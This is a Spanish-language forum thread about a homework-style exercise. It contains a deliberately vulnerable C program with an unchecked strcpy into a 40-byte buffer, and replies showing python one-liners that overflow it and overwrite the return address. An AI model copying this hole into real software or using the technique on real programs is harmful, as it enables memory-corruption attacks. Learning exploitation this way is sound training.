Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: crimi en 12 Diciembre 2012, 00:39 am



Título: DISEÑO DE EXPLOIT
Publicado por: crimi en 12 Diciembre 2012, 00:39 am
Hola:

¿Alguien me podría ayudar con el siguiente ejercicio?

1.Dado el siguiente código fuente, diseñar un exploit que permita la función “privada”:

#include <string.h>
void privada (void) {
printf("Hola función pública\n");
}
int main(int argc, char * argv [])
{
char buffer [40];
if (argc != 2){
printf("Necesito un argumento %d\n",argc);
exit(-1);
}
strcpy(buffer, argv[1]);
printf("%s\n",buffer);
return (0);
}


Título: Re: DISEÑO DE EXPLOIT
Publicado por: 0xDani en 12 Diciembre 2012, 15:54 pm
Si te fijas no se verifica que argv[1] apunte a una cadena de menos de 40 caracteres, ni se limita el numero de caracteres que se pueden copiar a buffer. Aqui tendrias que hacer un stack overflow, de forma que puedas dejar EIP apuntando a la funcion privada, o algo asi.

http://www.exploit-db.com/download_pdf/17008


Título: Re: DISEÑO DE EXPLOIT
Publicado por: ameise_1987 en 12 Diciembre 2012, 18:29 pm
pistas:

Citar
con 51 caracteres no rompe!!.

./prueba `python -c "print 'a'*51"`

con 52 caracteres rompe!!.


./prueba `python -c "print 'a'*52"
Segmentation fault


si con 52 caracteres rompe, intentemos inyectar una direccion de memoria despues de un buffer de 52 caracteres, en mi caso inyecte la direccion de antes del printf que se encuentra dentro del if que verifica si he ingresado un parametro por consola(la direccion antes, para que ingrese la cadena, de lo contrario tendria un error), la idea era que imprimira el buffer ingresado y tambien el mensaje de error diciendo que debia ingresar un parametro  :laugh:


Citar
./prueba `python -c "print 'a'*52+'\xd6\x84\x04\x08'"`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaք
Necesito un argumento -1073743340

siendo \xd6\x84\x04\x08 -> 0x080484d6, que es la direccion de la cadena "Necesito un argumento %d\n" , ahora lo que debes hacer es buscar la direccion de la funcion a ejecutar y reemplazarla por esa.

tambien, debes leer un tutorial de ASM at&t y un tutorial de buffer overflow.
http://overflowedminds.net/papers.php


Título: Re: DISEÑO DE EXPLOIT
Publicado por: FerRockrose en 3 Enero 2013, 22:08 pm
¿por que lo ayudan con esas cosas?
no se supone que esas cosas están prohibidas en este foro???
o hay preferencias doblemoralistas ?


Título: Re: DISEÑO DE EXPLOIT
Publicado por: TrashAmbishion en 14 Enero 2013, 03:34 am
¿por que lo ayudan con esas cosas?
no se supone que esas cosas están prohibidas en este foro???
o hay preferencias doblemoralistas ?

No le veo nada de malo a eso, hasta donde el pregunto no veo nada malo...

Tampoco exageremos

Salu2


Título: Re: DISEÑO DE EXPLOIT
Publicado por: Falso Positivo en 15 Enero 2013, 16:30 pm
¿por que lo ayudan con esas cosas?
no se supone que esas cosas están prohibidas en este foro???
o hay preferencias doblemoralistas ?

¿Qué es lo malo en guiar para conocer mejor el funcionamiento y problemas mas comunes de varios programas?